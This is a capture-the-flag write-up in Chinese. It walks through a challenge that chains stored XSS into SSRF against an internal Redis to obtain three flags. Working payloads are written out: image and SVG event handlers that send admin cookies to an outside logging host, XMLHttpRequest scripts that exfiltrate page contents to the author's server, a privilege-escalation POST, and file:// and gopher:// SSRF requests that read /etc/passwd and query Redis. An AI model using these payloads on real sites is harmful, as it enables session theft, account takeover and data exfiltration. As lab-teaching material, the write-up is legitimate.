XSSRF

最近做了个题,XSS+SSRF,很有意思的一道题,从前端打到后台,一共有3个flag。
题目界面如下:enter description here摸索了一下功能,大概就是注册,登录,发邮件,查看已发邮件。题目给了提示,要gain access to admin's panel,再加上可以发邮件给admin,自然想到用XSS去打admin的cookie。先尝试直接<script>上,发现被过滤了enter description here如果<script>标签被ban,可以用img或者src的属性去打cookie,比如

1
2
<img/onerror="document.location='http://x53gm2.ceye.io/asdas'+document.cookie" src=#>
<svg/onload="document.location='http://x53gm2.ceye.io/asdasd'+document.cookie">

这题用以上两个payload都能打到cookie,加斜杠是因为过滤了onerroronload。要注意的是,img的src=#不能省略。enter description here这样就拿到了flag1:FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}cookie还提示了flag2在redis中。那么我们需要想办法去打redis了。首先想到的是网鼎杯第一场web1的打法,直接redis写webshell,但是失败了,一个,有可能redis不是开在6379端口,另一个,也许根本就没有写权限。那么,需要另外想办法。这时候我们发现robots.txt里面有一些信息enter description here看得出来,config.php应该非常关键,backup.zip带密码,暂时先不管。这时候想到,既然要得到管理面板的访问权限,那么可以用XSS去读admin面板的内容,读文件的时候要注意,js的btoa()函数可以用来base64编码。构造如下payload:<svg/onload="document.location='http://x53gm2.ceye.io/'+btoa(document.getElementsByTagName('body')[0].innerHTML);">发现过滤比较过分enter description here这时候可以用unicode编码去绕过enter description here成功打到了目标页面的内容enter description here解码之后得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">

<div class="card text-white bg-dark">
<div class="card-body">
<h2 class="card-title">
weqe </h2>
<h4>From: <a href="sendmail.php?to=comrade">comrade</a></h4>
<div class="card-text"><svg onload="document.location='http://x53gm2.ceye.io/'+btoa(document.getElementsByTagName('body')[0].innerHTML);"></svg></div>
</div>
</div>
</div>

request.phpsetadmin.php我们都没有,用XMLHttprequest读一下,payload如下:

1
2
3
4
5
6
7
8
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.location='http://123.207.99.17/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open('GET','setadmin.php',true);
xmlhttp.send();

成功打到页面enter description here这里用ceye.io是不行的,我也搞不懂为啥,只能用自己的VPS。setadmin.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSSRF - Set Admin</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="style.css" media="all">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">
<form action="/setadmin.php" method="POST">
<div class="form-group">
<label for="username">Username</label>
<input type="text" name="username" class="form-control" id="username" aria-describedby="username" placeholder="Username">
</div>

<button class="btn btn-primary">Give Admin Access</button>
</form>
</div>
</body>
</html>

可以看到,有一个表单,可以传一个username的参数,结合文件名,这应该是拿来赋予用户admin权限的,那么我们可以POST自己的id过去看看有什么效果,构造payload如下

1
2
3
4
5
xmlhttp=new XMLHttpRequest();
var formdata=new FormData();
formdata.append('username','comrade');
xmlhttp.open('POST','setadmin.php',true);
xmlhttp.send(formdata);

发过去之后,重新登录,发现页面变成了这样子enter description here尝试修改了refererX-Forwarded-For,都没有用,想到刚刚的config.php,稍微修改下payload去打,发现没有返回东西enter description here说明config.php是纯PHP代码,然后同样的方法去打request.php,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSSRF - Request</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="style.css" media="all">
<style>pre { background-color: #eee; padding: 5px; }</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">XSSRF</a>

<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="sendmail.php">Send Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="mailbox.php">Mailbox</a>
</li>
<li class="nav-item">
<a class="nav-link" href="sentmail.php">Sent Mail</a>
</li>
<li class="nav-item">
<a class="nav-link" href="setadmin.php">Set Admin</a>
</li>
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>
</ul>

<ul class="navbar-nav ml-auto">
<li class="nav-item">
<span class="navbar-text">Hello, admin (Administrator)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="logout.php">Logout</a>
</li>
</ul>
</nav>

<div class="container">


<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</div>

<button class="btn btn-primary">Send Request</button>
</form>
</div>
</body>
</html>

同样有一个表单,结合文件名和表单内容,这个表单应该是拿来发出请求的,也就可能存在SSRF。首先,尝试一下读/etc/passwd,构造payload如下:

1
2
3
4
5
6
7
8
9
10
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.location='http://123.207.99.17/ssrf?'+btoa(xmlhttp.responseText);
}
}
var formdata=new FormData();
formdata.append('url','file:///etc/passwd');
xmlhttp.open('POST','request.php',true);
xmlhttp.send(formdata);

得到的返回页面如下enter description here成功拿到了/etc/passwd的内容,既然存在SSRF,那么就可以读任意完整文件了,这时候肯定是去读config.php了。内容如下enter description here

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

// database config
define('DB_USER', 'xssrf');
define('DB_PASS', 'xssrfmeplz');
define('DB_HOST', 'host=localhost');
define('DB_NAME', 'xssrf');

// redis config
define('REDIS_HOST', 'localhost');
define('REDIS_PORT', 25566);

// define flag
define('FLAG', 'FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}');

$c_hardness = 5; // how many proof of work leading zeros

可以看到,config.php里有第二个flag,还告诉我们redis开在25566端口。这时候我们可以继续SSRF,用的是gopher打redis的套路。先构造如下payload

1
2
3
4
5
6
7
8
9
10
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
document.location='http://123.207.99.17/ssrf?'+btoa(xmlhttp.responseText);
}
}
var formdata=new FormData();
formdata.append('url','gopher://127.0.0.1:25566/_config%20get%20*%0a');
xmlhttp.open('POST','request.php',true);
xmlhttp.send(formdata);

打到这个页面enter description here说明的确存在redis未授权访问。然后,看看有哪些key:formdata.append('url','gopher://127.0.0.1:25566/_keys%20*%0a');enter description here有一个叫flag的key,然后尝试去读:formdata.append('url','gopher://127.0.0.1:25566/_get%20flag%0a');enter description hereWRONGTYPE,然后看看flag是什么type,formdata.append('url','gopher://127.0.0.1:25566/_type%20flag%0a');enter description hereflag是list类型,用lrange可以把指定范围的list打印出来,不过超了也没关系,所以直接取个10000免得没读完formdata.append('url','gopher://127.0.0.1:25566/_lrange%20flag%200%2010000%0a');enter description here可以看到,得到的是一个逆序的flag,通过简单的编辑器再加上python处理一下即可。enter description here